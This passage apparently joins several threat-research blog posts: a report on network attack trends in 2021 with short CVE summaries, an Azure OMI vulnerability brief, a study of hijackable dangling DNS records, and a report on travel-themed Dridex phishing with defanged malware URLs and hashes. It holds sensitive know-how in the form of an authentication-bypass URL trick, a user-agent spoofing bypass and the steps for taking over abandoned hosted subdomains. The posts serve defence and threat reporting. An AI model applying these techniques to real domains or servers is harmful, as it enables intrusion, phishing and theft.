To arrive at 2.29 million valid malicious sessions, we exclude low severity signature triggers that are used to detect scanning and brute force attacks from the original set of more than 10 million. Therefore, we consider exploitable vulnerabilities with a severity ranking of medium and higher (based on the CVSS v3 Score) as a verified attack.

Attack severity distribution in May-July 2021: 26.2% medium, 37.8% high, 36.0% critical.
Figure 3. Attack severity distribution in May-July 2021.

Table 3 shows the session count and ratio of attacks grouped by the severity of each vulnerability.

Severity Session Count Ratio
Critical 823,323 36.0%
High 865,712 37.8%
Medium 599,649 26.2%

Table 3. Attack severity distribution ratio in May-July 2021.

Compared with the previous quarters’ severity distribution, this quarter has a noticeable change in the ratios. Critical, high and medium severity attacks are closer in number to each other than before, especially for critical and high severity. However, critical and high severities are still the primary attacks that we monitored.

When Did the Network Attacks Occur?

For this installment of our network security trends analysis, we collected data from May-July 2021 and discovered that attacks occurred with similar frequency for each of the severity rankings we focused on. In other words, the critical, high and medium severity exploits happen with similar ratios.

Our monitoring of network security trends includes an analysis of attack severity distribution. For most of the period of observation, exploits ranked critical, high and medium severity occurred with similar frequency.
Figure 4. Attack severity distribution measured biweekly from May-July 2021.

In this quarter, we saw that attackers frequently used newer vulnerabilities disclosed recently, especially in 2020-2021. The newly revealed vulnerabilities could be severe because of a late or improper patch. This highlights the importance of updating security products and applying software patches as soon as they become available to protect against the most recently discovered vulnerabilities.

Observed attacks broken down by the year in which the exploited CVE was disclosed, measured biweekly from May-July 2021. The distribution includes CVEs published from before 2010, but is mostly concentrated on CVEs published from 2020-21.
Figure 5. Observed attacks broken down by the year in which the exploited CVE was disclosed, measured biweekly from May-July 2021.

Latest Attacks: Exploits in the Wild

We paid attention to the latest published attacks, and the following exploits stood out due to their PoC availability, severity and ease of exploitation. We have provided snippets showing how attackers used open-source tools to compromise the different targets to allow defenders to better understand how the exploit operates.

CVE-2020-11978
CVE-2020-13927

Apache Airflow Experimental API has an unauthenticated request flaw with CVE-2020-13927. Together with the Example Dag argument, there could be an unauthenticated remote code execution (RCE) vulnerability in Airflow, allowing malicious network traffic to make an HTTP request toward a specific URL. The vulnerability was published in mid-July and is actively exploited in the wild.

Figure 6. Apache Airflow command injection vulnerability.
Figure 6. Apache Airflow command injection vulnerability.

CVE-2021-27850

An attacker was able to download the file AppModule.class by requesting the specific URL, http://localhost:8080/assets/something/services/AppModule.class , which contains an HMAC secret key from Apache Tapestry. For this vulnerability, even though Apache Tapestry has a blocklist solution, it can simply be bypassed by appending a / at the end of the URL Then the attackers can get the HMAC secret key.

Figure 7. Apache Tapestry ClasspathAssetRequestHandler information disclosure vulnerability.
Figure 7. Apache Tapestry ClasspathAssetRequestHandler information disclosure vulnerability.

CVE-2021-21985

A remote code execution vulnerability on VMware vCenter Server was disclosed in May, and it is actively exploited among networks. We captured both the scanning checkers traffic, shown in Figure 8, and the exploit attempt, shown in Figure 9, for this vulnerability. A malicious actor can exploit the vulnerability by executing commands with unauthorized privileges.

Figure 8. VMware vCenter Server remote code execution vulnerability checker.
Figure 8. VMware vCenter Server remote code execution vulnerability checker.
Figure 9. VMware vCenter Server remote code execution vulnerability.
Figure 9. VMware vCenter Server remote code execution vulnerability.

CVE-2021-29441

Nacos has a backdoor that enables Nacos servers to bypass and skip authentication checks. The authentication check relies on the user-agent HTTP header. It can be spoofed to allow an attacker to carry out administrative privileges. This vulnerability was published at the end of April.

Figure 10. Nacos authentication bypass vulnerability.
Figure 10. Nacos authentication bypass vulnerability.

CVE-2021-1498

Cisco published multiple vulnerabilities in May. Cisco HyperFlex HX allows unauthenticated, remote access to perform command injection attacks with specific URLs.

Figure 11. Cisco HyperFlex HX Handling remote command execution vulnerability.
Figure 11. Cisco HyperFlex HX Handling remote command execution vulnerability.

CVE-2020-25494

Xinuos OpenServer allows attackers to execute arbitrary commands by a cgi-bin/printbook URL in the outputform parameter via shell metacharacters. This vulnerability was revealed at the end of December 2020; however, we started to see some active exploits in this quarter.

Figure 12. Xinuos OpenServer command injection vulnerability.
Figure 12. Xinuos OpenServer command injection vulnerability.

CVE-2021-33564

Before the 1.4.0 version of Dragonfly gem for Ruby, Dragonfly gem disclosed an argument injection vulnerability that allows remote attackers to read and write arbitrary files. It crafts the URL using base64 encode when the verify_url option is disabled. This vulnerability was published at the end of April, and we see it is actively being used among attackers.

Figure 13. Dragonfly Ruby gem argument injection vulnerability.
Figure 13. Dragonfly Ruby gem argument injection vulnerability.

CVE-2021-32305

An arbitrary command injection was discovered in mid-May related to WebSVN via search parameters. It uses shell metacharacters to insert commands. We observed several exploitation attempts through the network during the last three months.

Figure 14. WebSVN command injection vulnerability.
Figure 14. WebSVN command injection vulnerability.

CVE-2021-35464

A Java deserialization vulnerability has been disclosed in ForgeRock AM server through the jato.pageSession parameter. It can be triggered by sending a crafted /ccversion/* path. It does not require authentication. It was published at the end of July, and we captured some attempts as shown below.

Figure 15. ForgeRock OpenAM insecure deserialization vulnerability.
Figure 15. ForgeRock OpenAM insecure deserialization vulnerability.

In the meantime, there are some other lower severity, newly published vulnerabilities that attackers are actively trying to exploit in networks. They are:

Palo Alto Networks customers are fully protected from the attacks discussed above by installing the latest Next-Generation Firewalls.

Attack Category Distribution

We classified each network attack by category and ranked them in table 4. Code execution continues to rank first, as seen in other quarters, which is unsurprising. Attackers typically want to gain as much control as possible over the systems they target. Information disclosure and SQL injection attacks increased this quarter – mature attack services and tools make it relatively simple for attackers to succeed with these types of exploits.

Ranking Vulnerability Category
1 Code Execution
2 Information Disclosure
3 SQL Injection
4 Cross-Site Scripting
5 Directory Traversal
6 Privilege Escalation
7 Buffer Overflow
8 Improper Authentication
9 Command Injection
10 Security Feature Bypass

Table 4. Attack category ranking, May-July 2021.

In our monitoring of network security trends from May-July 2021, we divided the attacks we observed into categories and ranked them based on which types of attacks were most common. In order, the categories were: code execution, information disclosure, SQL injection, cross-site scription, directory traversal, privilege escalation, buffer overflow, improper authentication, command injection and security feature bypass.
Figure 16. Attack category distribution, May-July 2021.

Figure 16 shows the session-based attack category distribution. When fully compromising a target wasn't an option, attackers demonstrated interest in obtaining sensitive data through directory traversal and cross-site scripting attacks.

Where Did the Attacks Originate?

After identifying the region from which each network attack originated, we discovered that the largest number of them seem to originate from the United States, followed by China and Russia. However, we recognize that the attackers might leverage proxy servers and VPNs located in those countries to hide their actual physical locations.

In our monitoring of network security trends, we identified the regions from which each network attack appeared to originate. In order, these were: United States, China, Russian Federation, India, the Netherlands, Germany, Albania, Korea, Hong Kong, United Kingdom, Brazil, Panama, Bulgaria, Vietnam, Lebanon, Syrian Arab Republic, France, Turkey, Indonesia, Georgia and others.
Figure 17. Locations ranked in terms of how frequently they were the origin of observed attacks from May-July 2021.
The same regional information about network security trends is shown in a heat map, with darker blue colors indicating a higher number of attacks appearing to originate in those regions.
Figure 18. Attack geolocation distribution from May-July 2021.

Conclusion

The vulnerabilities published in May-July 2021 indicate that web applications remain popular and that critical vulnerabilities are more likely to have PoCs publicly available. In the meantime, we keep capturing newly published vulnerabilities that are exploited in the wild. This emphasizes the need for organizations to promptly patch their systems and implement security best practices – attackers will make a concerted effort to expand their arsenal of exploits whenever possible.

While cybercriminals will never cease their malicious activities, Palo Alto Networks customers are fully protected from the attacks discussed here by Next-Generation Firewalls. Additional mitigations include:

  • Run a Best Practice Assessment to identify where your configuration could be altered to improve your security posture.
  • Continuously update your Next-Generation Firewalls with the latest Palo Alto Networks Threat Prevention content (e.g. versions 8447 and above).

Additional Resources

 

Threat Brief: OMI Vulnerabilities (CVE-2021-38645, CVE-2021-38647, CVE-2021-38648 and CVE-2021-38649)

Executive Summary

On Sept. 14, 2021, Microsoft’s Security Response Center (MSRC) released security patches detailing the findings of four critical vulnerabilities affecting the Microsoft Azure package Open Management Infrastructure (OMI). The open-source OMI package is designed to provide a portable infrastructure backbone for web-based management tools, such as diagnostic monitoring, log analytic services and automation functionality within UNIX and Linux systems. OMI is used by Microsoft Azure to manage UNIX packages within Azure virtual machines (VMs), containers and serverless cloud instances. According to Microsoft’s security release notes, any system created, or which has updated its OMI package, after Aug. 11, 2021, should automatically be patched.

Four Critical OMI Vulnerabilities

The four critical vulnerabilities discovered by security researchers from Wiz include one unauthenticated remote code execution (RCE) and three privilege escalation vulnerabilities.

Dubbed OMIGOD, the four vulnerabilities were found to directly affect Azure cloud instances using the following Azure services:

  • Azure Automation
  • Azure Automatic Update
  • Azure Operations Management Suite
  • Azure Log Analytics
  • Azure Configuration Management
  • Azure Diagnostics

Prisma Cloud Compute Defender agents can detect whether any Azure system is vulnerable to any of the four CVEs. Additionally, Prisma Cloud users can also build a custom vulnerability detection rule to identify if any system is running an OMI package with a version previous to 1.6.8.1.

To build a custom vulnerability detection rule, open Prisma Cloud and navigate to the following page:

  • Compute > Manage > System > Custom Feeds > Custom Vulnerabilities > Import CSV
  • Create a csv file and populate that file with the following text:

name,type,package,minVersionInclusive,maxVersionInclusive,md5
OMIGOD,package,omi,*,1.6.8.0,

Palo Alto Networks Azure-based VM- and CN-Series Firewall instances do not use the OMI package and are not vulnerable to the OMI critical vulnerabilities.

Remediation

Prisma Cloud will create an alert for any system which maintains an OMI package vulnerable to the OMI critical vulnerabilities. Should a system be identified as vulnerable, the following steps should be taken for that Azure Cloud Instance:

  1. Log on to the Azure instance using SSH.
  2. Execute the following command:
    1. Debian – sudo apt list omi
    2. CentOS – sudo yum list omi
  3. Determine if OMI version is < 1.6.8.1.
  4. If the system maintains an older version of OMI, perform the steps listed within the OMI GitHub Page.

Conclusion

On Sept. 14, 2021, security researchers from Wiz released a report detailing the findings of four critical vulnerabilities affecting the Microsoft Azure package OMI. Dubbed OMIGOD, the four vulnerabilities were found to directly affect Azure Cloud Instances. Palo Alto Networks Azure-based VM and CN Series Firewall instances do not use the OMI package and are not vulnerable to the OMI critical vulnerabilities. Customers of Prisma Cloud have the ability to create alerts to detect vulnerabilities.

Additional Resources

 

Dangling Domains: Security Threats, Detection and Prevalence

Executive Summary

The Domain Name System (DNS) provides the naming service which maps mnemonic domain names to various resources such as IP addresses, email servers and so on. As one of the most fundamental internet components, DNS and domain names usually serve as trusted anchors for users to access desired internet resources. As a result, threat actors constantly attempt to exploit DNS for illicit online activities. In particular, many attackers try to hijack domains with benign reputations. Several well-known techniques, including cache poisoning, malicious resolvers and domain registrar account hijacking, are used to achieve domain hijacking. However, great efforts like DNSSEC have been made to strengthen the DNS ecosystem in recent decades, and these hijacking techniques have become more challenging to achieve in practice.

Instead, a recent study has shown that a largely overlooked threat in DNS – dangling DNS records – could be easily exploited for domain hijacking. In this blog, we will introduce several types of dangling DNS records and multiple techniques that can be used to exploit the dangling records. We built a detector that can actively identify dangling records from our collected DNS data.

Our results show that the dangling domain is a real and prevalent threat. Specifically, we have detected 317,000 unsafe dangling domains in total in our passive DNS data set. More worrisomely, even well-managed DNS zones have a non-trivial number of dangling domains. In particular, we found 13 dangling domains under the top-level domain (TLD) gov, 197 under the TLD edu, and 4,767 are detected under the Tranco top 2,000. All of these high-profile domains could be exploited for attacks like phishing and scams.

To protect users, once our detector identifies a dangling domain, the knowledge is distributed to multiple Palo Alto Networks security subscriptions, including DNS Security and Advanced URL Filtering. We also actively notify the corresponding domain registrars of the affected domains and the affected domain owners if the whois data is available.

Dangling Domains: An Overlooked Security Threat

A DNS record is essentially a pointer, where the rrname points to the network resource represented in rdata. When a resource in rdata is abandoned and released, the DNS record becomes dangling, and the rrname is called a dangling domain. If the abandoned resource could potentially be controlled by anyone besides the owners of the rrname, this dangling DNS record is considered hijackable. Therefore, as a security best practice, a DNS record should be purged from its corresponding DNS zone once it becomes dangling.

Unfortunately, in practice, domain owners often forget to do the cleaning, resulting in many dangling DNS records.

There are tens of DNS record types in DNS specifications, several of which could lead to hijackable dangling records. In this blog, we focus on three types of records, as listed in Table 1.

Type Description
CNAME Indicate the rrname is an alias for the canonical name rdata.
MX Specify the mail server responsible for accepting emails on behalf of the domain.
NS Delegate to an authoritative name server.

Table 1. Types of dangling DNS records studied here.

A CNAME record specifies the canonical name (rdata) of an alias domain (rrname). A DNS query for the alias will be resolved to its canonical name, which is further resolved to an A/AAAA record. A dangling CNAME record could result in the domain name in rrname being hijacked by attackers.

For instance, in the following CNAME record, dangling.example[.]com points to an expired domain. Therefore, this CNAME record should be purged from the zone file. Otherwise, dangling.example[.]com will be hijacked if the expired domain expired[.]com is registered by an attacker.

dangling.example[.]com CNAME expired[.]com

An MX record specifies the mail server responsible for receiving emails on behalf of the domain in rrname. A domain can have multiple MX records with different priorities. The MX record with higher priority will be used first. A hijacked dangling MX record allows attackers to send and receive emails under the affected domain in rrname.

An NS record delegates a domain (rrname) to an authoritative DNS name server (aDNS) to answer queries about names under that domain. If a dangling NS record is exploited, attackers will be able to control the aDNS and redirect all domain visitors to any IP address. Even worse, the transitive trust that is built into DNS could make all domains that directly or indirectly depend on the dangling NS record vulnerable. A domain usually has multiple NS records, and DNS resolvers can use different algorithms to decide which NS record to use. When only one of the multiple NS records is dangling, attackers can leverage techniques like denial of service and NS pinning to force DNS resolvers to use the dangling NS record.

Dangling Domain Hijacking

A dangling record is safe as long as the abandoned resource cannot be manipulated by anyone other than the domain owner. Otherwise, it is an unsafe dangling record. A previous study, “All Your DNS Records Point to Us,” has published multiple methods that can be used to exploit dangling records. Here, we describe two of them for dangling records for which the rdata is a domain.

The first method can be used if the rdata in all of the three DNS record types in Table 1 is a domain name. The domain in rdata could expire and thus could be re-registered by attackers. Registering expired rdata is significantly different from previous attacks that exploit the residual trust of the expired domains themselves. In dangling domain hijacking, the attackers instead abuse the trust of the unexpired rrname. There are several reasons why domain owners frequently neglect such dangling records. One reason is that there are usually multiple MX/NS records, and some are still working. Thus, the services depending on these MX/NS records are usually not interrupted. Another common reason is that the services pointed to by the dangling records are no longer used and no one bothers to update the record.

The second method takes advantage of abandoned third-party services and is sketched in Figure 1. Third-party services are extensively used in modern websites. For instance, GitHub and WordPress are widely used to build home pages using the virtual hosting technique. Users add a DNS record in their DNS zone file pointing custom domains to the domains or IP addresses where the services are hosted.

For example, a user wants to host a home page using WordPress on the domain blog.mydom[.]com. The user needs to add the following record to the zone file of mydom[.]com:

blog.mydom[.]com CNAME example.wordpress[.]com

where example.wordpress[.]com is a domain name allocated by WordPress. Alternatively, an A record could be added instead of the CNAME record:

blog.mydom[.]com A 192[.]0.78.24

Then, the user’s WordPress account can claim blog.mydom[.]com so that all visits to the domain will be directed to the website set up on WordPress using the virtual hosting technique. Later, when the user does not want to use WordPress anymore, blog.mydom[.]com may be unclaimed in the user’s WordPress account. If the above CNAME/A DNS record is not removed from the zone file of mydom.com, now the record becomes dangling. To exploit the dangling record, an attacker simply needs to register a WordPress account and then claim the ownership of blog.mydom[.]com in the attacker’s WordPress account. Although the attacker does not own example.wordpress[.]com, all visits to blog.mydom[.]com will still be directed to the website set up by the attacker on WordPress. Actually, the domain example.wordpress[.]com in rdata does not matter here because virtual hosting uses the Host field (i.e. blog.mydom[.]com) in HTTP requests to serve different websites. That is why a user can also use an A record to point to the same IP address owned by WordPress.

The same risk applies to GitHub, as stated in their tutorial – “Make sure you add your custom domain to your GitHub Pages site before configuring your custom domain with your DNS provider. Configuring your custom domain with your DNS provider without adding your custom domain to GitHub could result in someone else being able to host a site on one of your subdomains.”

Illustration of the workflow when a client browser visits a domain hosted on WordPress. Step I: DNS Resolution for blog.mydom[.]com; includes sub-steps: 1 - DNS query, 2 - DNS Zone of mydom[.]com, 3 - DNS Zone of wordpress[.]com, 4 - DNS response; Step II: HTTP connection to WordPress where blog.mydom[.]com is hosted, includes substep: 5) Host blog.mydom[.]com - virtually hosted by (claimer).wordpress[.]com, which could be legitimate or claimed by an attacker.
Figure 1. Illustration of the workflow when a client browser visits a domain hosted on WordPress.
Dangling domain hijacking can significantly increase the efficacy of scamming and phishing. A common modus operandi for attackers is to register a domain with a benign reputation or to use a domain similar to well-known legitimate ones (as seen with squatting domains). However, these techniques are limited in efficacy, and vigilant users can easily spot them. Moreover, many automatic systems such as proactive malicious NRD detector and squatting domain detector have been deployed in production to detect these malicious domains.

With dangling domain hijacking, on the other hand, attackers can easily abuse domains with clean history at an affordable cost. In particular, the whois information of these hijacked dangling domains remains the same. Even worse, dangling subdomains often inherit the reputation of their parent domains, some of which are well-known and have good reputations. Therefore, it is critical to protect users against unsafe dangling domains.

Dangling Domain Detection

Once we know the techniques used to hijack dangling domains, it is straightforward to implement the detector. For a domain in rdata, we check whether the domain has expired. If so, the DNS record is dangling. If the rdata indicates a third-party service, we check whether the rrname can be claimed in the corresponding third-party service. Since a domain can become dangling at any time, we need to periodically check every valid DNS record. Therefore, our detector checks every valid DNS record in our passive DNS every few weeks. Meanwhile, to protect users in a timely fashion, we also conduct daily detection for all actively queried DNS records in the past day.

Prevalence of Dangling Domains

With our dangling domain detector, we have detected 317,000 unsafe dangling domains in total. Figure 2 shows the breakdown of dangling domain types, with 63.1% being expired rdata, 36.9% from GitHub and 0.1% from WordPress. In addition, we show their distribution of DNS record types in Figure 3, revealing that the vast majority of these records are CNAME. Surprisingly, we did not detect dangling MX records. There are two possible reasons for this. First, most MX records in the wild point to third-party mailing services such as Mailgun. Second, according to the previous study, it is rare in practice for expired rdata to result in dangling MX records.

Breakdown of domain types - 63.1% are expired rdata, 36.9% come from GitHub and 0.1% from WordPress.
Figure 2. Breakdown of dangling domain types.
Distribution of DNS record type - CNAME 99.4%, NS 0.6%
Figure 3. Distribution of DNS record type.

To understand the prevalence of dangling domains, we checked the passive DNS dataset from May 22-June 21, to see how many are actively queried. We excluded 88 wildcard dangling domains because matching them is computationally expensive. The number of unique dangling domains resolved each day is presented in Figure 4. It shows that several thousand dangling domains are queried daily. There are two spikes on 2021-06-09 and 2021-06-12 in Figure 4, and further analysis shows that the spikes are caused by a single domain, which corresponds to over 11,000 unique dangling subdomains on the two days.

Number of unique dangling domains resolved each day from May 22-June 21, including two spikes (June 9 and June 12) caused by a single domain, which corresponds to over 11,000 unique dangling subdomains on the two days.
Figure 4. The number of unique dangling domains resolved each day from May 22-June 21.

To understand the risks of these dangling domains, we aggregated the 317,000 dangling domains by TLD and presented the top 60 TLDs in Figure 5. The top TLD is com, which accounts for 55.2% of all dangling domains. Of particular interest, the TLDs edu and gov are considered well-managed DNS zones (adhering to eligibility requirements and strict process for registering new domains), but they still have 197 and 13 dangling domains, respectively. As a result, attackers could exploit the trust in edu and gov for attacks like phishing and scams. Additionally, we checked these dangling domains to see if they are subdomains of Tranco’s top 1 million domains, which implies inherited trust. The results show that 38,000 (12.0%) of them are under Tranco top 1 million domains. We present the distribution of their Tranco rank in Figure 6. In particular, 4,767 of them are under the Tranco top 2,000.

The 317,000 dangling domains aggregated by TLD (graphic shows the top 60 TLDs).
Figure 5. The number of dangling domains aggregated by TLD.
The Tranco rank distribution for the 38,000 domains that are subdomains of Tranco top 1 million domains.
Figure 6. The Tranco rank distribution for the 38,000 domains that are subdomains of Tranco top 1 million domains.

Case Studies

During our evaluation of the detection results, we observed many compelling cases and patterns. In this section, we describe several representative instances.

Subdomains Inherit Trust From High-Profile Parents

Due to the hierarchical structure of the DNS system, subdomains usually inherit trust from their parents, and a subdomain is often given the same credibility as its parent. For instance, the web contents hosted on a subdomain under edu are considered official information from colleges or universities. This makes dangling domains under reputable domains quite attractive to attackers. During our study, we spotted multiple such cases. Two examples are shown in Figure 7.

Two examples of dangling domains under edu, partially obfuscated for protection.
Figure 7. Two examples of dangling domains under edu.

The two domains in rrname are owned by two well-known universities in the U.S. Visitors to the websites hosted on these domains are likely to consider the information as valid and official from the universities. As a result, if an attacker hosts malicious content or carries out spear phishing under such subdomains, even the most vigilant users could fall victim.

Typos Cause Dangling DNS Records

Typos are a common cause of dangling domains. We found many dangling records where rdata is obviously a typo. For example, in Figure 8, the CNAME DNS record, cdcr.[xxxxx.]edu points to a subdomain under cloudlfare[.]net which has expired at the time of writing. We speculate with high confidence that cloudlfare[.]net is a typo of cloudflare.net, which provides a content delivery network (CDN) and other web-related services.

Typos are a common cause of dangling domains, as shown in the partially obfuscated example here.
Figure 8. Typos are a common cause of dangling domains, as shown in the example here.

We dug deeper to figure out why the administrator of cdcr.[xxxx.]edu did not notice this error. First, according to information we found online, the dangling domain cdcr.[xxxx.]edu is probably the home page for one of the university’s communities. Our passive DNS data shows that the first time the dangling DNS record was seen was Oct. 17, 2017. Before this date, cdcr.[xxxx.]edu points to webhost302.[xxxx.]edu using the CNAME record. This suggests that the domain administrator intended to switch to Cloudflare on Oct. 17, 2017. Then, we extracted the WHOIS data of cloudlfare[.]net, as shown in Figure 9. We can see that the domain was registered on Dec. 7, 2017, about two months later, after the dangling DNS record was created. Our passive DNS data of cloudlfare[.]net matches its registration date. This implies that cloudlfare[.]net was probably not registered at the time cdcr.[xxxx.]edu started to point to cdcr.[xxxx.]edu.cdn.cloudlfare[.]net, and the DNS record was dangling at the time of creation. In summary, it remains unknown why the administrator of cdcr.[xxxx.]edu did not notice this error.

WHOIS data of cloudlfare[.]net, showing that the domain was registered about two months after the dangling DNS record was created.
Figure 9. WHOIS data of cloudlfare[.]net.

Dependency on Expired Services

As we mentioned above, a significant number of domains point to third-party services. These third-party services could discontinue or migrate to a new domain to carry out services. In such cases, the original domains could expire, and thus all domains pointing to them become dangling. Take the DNS record in Figure 10 as an example.

The example shows how a domain can become dangling when it points to a third-party service that has been discontinued or has migrated to a new domain.
Figure 10. The example shows how a domain can become dangling when it points to a third-party service that has been discontinued or has migrated to a new domain.

According to slides still hosted online, getwebsitesearch[.]com was owned by a startup that provided custom search engines to websites. However, the company has discontinued its service, and thus the domain has expired.

Dangling Wildcard DNS Record

Most dangling DNS records affect only a single domain. However, we found 88 wildcard DNS records that became dangling in our passive DNS. Such dangling records are quite interesting in that all nonexistent domains under the related rrname could be hijacked by attackers. For example, because of the dangling record shown in Figure 11, all domains not explicitly specified in the zone file of ch[xxxxxxx]wer[.]com could be hijacked. In particular, attackers could spawn an infinite number of subdomains for malicious purposes such as hosting phishing content and acting as command and control. Even worse, the presence of dangling wildcard DNS records makes it more difficult for defenders to block the hijacked domains. The only reliable defense is to remove the dangling record or defensively take over the wildcard domain.

An example of a dangling wildcard DNS record.
Figure 11. An example of a dangling wildcard DNS record.

Dangling NS Record

As described above, a dangling NS record could render all domains delegated to it hijackable. Therefore, we checked how many dangling domains are detected in our data set. In total, we found 1,974 dangling NS records under 1,659 unique root domains. Note that we excluded the DNS records for which the root domains of rrname and rdata are the same. The DNS records where the rrname has expired were also excluded. Interestingly, we found that many rrnames are delegated to a single expired name server domain. For instance, 15 unique rrnames with different root domains are delegated to the same name server ns.a.cloudtabo[.]com and ns.b.cloudtabo[.]com. As a result, the attacker just needs to control a single domain to hijack 15 others. We manually checked these 15 rrnames and found that they all have redundant NS records pointing to name servers ns.c.clouddra[.]com and ns.d.clouddra[.]com. Since clouddra[.]com is still valid, the affected 15 domains can still work properly. However, attackers can still hijack partial traffic to these 15 domains and potentially take full control by leveraging denial-of-service and NS pinning techniques.

Conclusion

This blog has introduced the concept of dangling DNS records and demonstrated that dangling domains are still prevalent and can pose serious security threats. In particular, we have found 317,000 dangling domains, including thousands on high-profile DNS zones such as edu, gov and Tranco top.

Palo Alto Networks identifies the detected dangling domains with the grayware category through our security subscriptions for Next-Generation Firewalls, including DNS Security and Advanced URL Filtering. Our customers are protected against damage from the risky domains mentioned above as well as against other risky domains captured by our system.

Palo Alto Networks has notified the owners of the detected dangling domains. The dangling domains mentioned in this blog have been defensively taken over and are no longer serving malicious content.

Additional Resources

 

Phishing Eager Travelers

Executive Summary

Threat actors have always been adept at keeping abreast of worldwide trends – ranging from geopolitical to technical – and rapidly exploiting these trends for their benefit. The current pandemic is no exception. Unit 42 has previously reported on how cybercriminals have preyed on consumers during COVID-19 and on the use of COVID-19 themed phishing attacks impersonating brands like Pfizer and BioNTech. This article provides early warnings for the travel industry and global travelers by sharing information about various attack attempts targeting the travel industry.

At the beginning of the pandemic, when people all over the world scrambled to get protective supplies – personal protective equipment, sanitizer and toilet paper – threat actors tried to take advantage of supply issues by selling fake products. They also tried to trick people by purporting to be credible health organizations (such as the WHO) or pharmaceutical companies, all while the actual organizations and companies were trying to make sense of the virus and come up with metrics, protective measures and vaccines.

Although the pandemic is not over, as the world opens up borders and the vaccines slow down the spread of the virus, people who have been cooped up at home are eager to travel. Threat actors are taking advantage of this trend by using travel as a theme for phishing people and stealing data – account credentials, financial information and so on – subsequently selling this data in underground markets.

Here, we first show that there has been a substantial increase in the registration of travel-related phishing URLs in 2021. Second, we provide two real-life examples demonstrating attackers abusing the travel theme, including the Dridex malware distribution and the abuse of Firebase in phishing campaigns. Third, we talk about how threat actors use various data that they steal. Finally, we conclude with a discussion of best practices for both individuals and organizations.

Please note that Palo Alto Networks Next-Generation Firewall customers are protected from phishing attacks with various security services, including Advanced URL Filtering and WildFire.

Increase in Travel-themed Phishing

To conduct social engineering, threat actors have always leveraged malicious domains and URLs impersonating known brands and websites familiar to end users. The content served on these malicious domains or URLs is crafted to mislead end users, since they look and feel very similar to brands that users know.

Alternatively, threat actors also send phishing emails to end users to trick them into either downloading malicious attachments or clicking on links that lead to malicious content – website pages or attachments. Threat actors use themes that invoke a sense of urgency (such as outstanding invoices) or appeal to the end user emotionally (such as travel-themed emails sent as the world opens up).

Increase in the Number of Travel-themed Phishing URLs

Unit 42 analyzed travel-themed phishing URLs created between October 2019 and August 2021. As seen in Figure 1 below, there is a gradual upward trend in the registration of phishing URLs starting early 2021, with a significant increase in June 2021. Though the new phishing URLs did not continue to be registered at quite the frenzied rate we saw in June, throughout the summer, threat actors created new travel-themed phishing URLs at a much higher level than at any time in 2020.

New travel-themed phishing URLs, shown in terms of the phishing URL creation date. Note the steep rise beginning in May 2021.
Figure 1. Number of new travel-themed phishing URLs registered between October 2019 and August 2021.

Based on the new phishing URLs that Unit 42 observed, in addition to the use of bespoke/new domains for serving the phishing URLs, threat actors also leveraged URL shorteners such as bit.ly and bit.do, and services such as Firebase that are hosted on Google Cloud Storage. Firebase is backed by Google and supports developers of mobile or web applications. Firebase includes cloud storage that enables developers to store and serve user-generated content. As Firebase leverages Google Cloud Storage, it is possible for phishing URLs to take advantage of it to bypass email protections based on Google’s reputation.

Unit 42 observed that not all the phishing URLs that threat actors leveraged were used for directed attacks or campaigns; some of the URLs were used in malspam campaigns to host malicious content, such as Dridex.

Use of Travel-themed Phishing URLs by Dridex

Dridex is mass-distribution malware that is typically sent through malspam. Dridex has been known as an information-stealing malware or banking trojan that targets Windows platforms and is distributed via malicious spam attachments impersonating legitimate companies.

The threat actor behind Dridex generally uses billing- or invoice-themed emails, a tactic used by most mass-distribution malware. The compromised or malicious URLs host the initial installer for Dridex to establish backdoor access. The backdoor access established by Dridex is later used to distribute followup malware, including ransomware, if the initial infection is not discovered.

The domains associated with the compromised URLs leveraged by Dridex are usually legitimate but compromised websites. For most Dridex campaigns, these URLs are used for a single day before the campaign moves on to a different URL.

Unit 42 researchers have observed two types of malspam pushing Dridex in the past few months: (1) a phishing email with an Excel spreadsheet attachment, and (2) a phishing email with a link to a message to download an Excel spreadsheet.

Infection chain for phishing emails pushing Dridex using an Excel spreadsheet attachment: 1) Malicious spam with attached Excel file, 2) Enable macros in the Excel file, 3) Reach out to malicious URLs, 4) Download installer DLL for Dridex, 5) Dridex command and control, 6) 64-bit DLLs for Dridex.
Figure 2. Infection chain for phishing emails with an Excel spreadsheet attachment.
Infection chain for phishing emails linked to a message to download and Excel spreadsheet pushing Dridex: 1) Malicious spam with Dropbox link in the message text, 2) Download spreadsheet with macros from Dropbox, 3) Enable macros in the Excel file, 4) Reach out to malicious URLs, 5) Download installer DLL for Dridex, 6) Dridex C2, 7) 64-bit DLLs for Dridex.
Figure 3. Infection chain for phishing emails linked to a message to download an Excel spreadsheet.

Unit 42 has published multiple articles over the past few years using the tag “Dridex.”

From the newly registered phishing URLs, Unit 42 observed that a couple of phishing URLs with travel-related keywords – “airlines” and “vacation” – were used by Dridex in 2021. These URLs are:

  • animalairlines[.]org/wp-content/plugins/wordpress-seo/inc/options/tk2xzwhphujenf.php
  • soleravacation[.]net/wp-content/plugins/mojo-marketplace-wp-plugin-is-broke/inc/cli/mxq6awnfhnmadd2.php

Technical Details About

animalairlines[.]org/wp-content/plugins/wordpress-seo/inc/options/tk2xzwhphujenf.php

In January 2021, there was a malspam campaign that comprised emails that used Dropbox links to call animalairlines[.]org/wp-content/plugins/wordpress-seo/inc/options/tk2xzwhphujenf.php and download the malware DLL to install Dridex.

Example email associated with a malspam campaign that comprised emails that used Dropbox links to call travel-themed phishing URLs and download the malware DLL to install Dridex.
Figure 4. Example email associated with the campaign.

The SHA256 values associated with some of the samples identified by Unit42 researchers are:

Hash Filename
2741a353c6d7bc69bf43aef709ead2d6f452e895561943b01ad5359561506092 Rep_598531.xls
5134f99242ea705442aaf857d43c4e689cd117a64fe103353be7f8ec5fd165f4 Name unknown
6846ae3db07fdc05aa310d157f9300bd7d26c33e5e81594dc89b70b47c73ee43 Name unknown
80d50ab8fe6f880270a2d8c3646a2272efed3f7a68140afacb72317a2e0c42c7   Note_7706.xls
b25edec6855cd5c3b74fa1a897d33978a227ccd039ac175c71521ec3655ebe10  Information_24837.xls
f3c837323c135a7d7ed9d03f856c81463abb80174211117f4bda193a55f1b78e  Notification_30123.xls

A list of Dropbox URLs associated with this wave of malspam are:

  • hxxps://www.dropbox[.]com/s/qmi112rc4ns75eb/Confidential_123.xls?dl=1
  • hxxps://www.dropbox[.]com/s/pfs4wf7a8mzxxkf/Notification%20%23591501.xls?dl=1
  • hxxps://www.dropbox[.]com/s/dz2b5ypqvoy7tpa/Reports%2078497.xls?dl=1
  • hxxps://www.dropbox[.]com/s/azswbhh7gmxouk2/Rep%20%231018.xls?dl=1
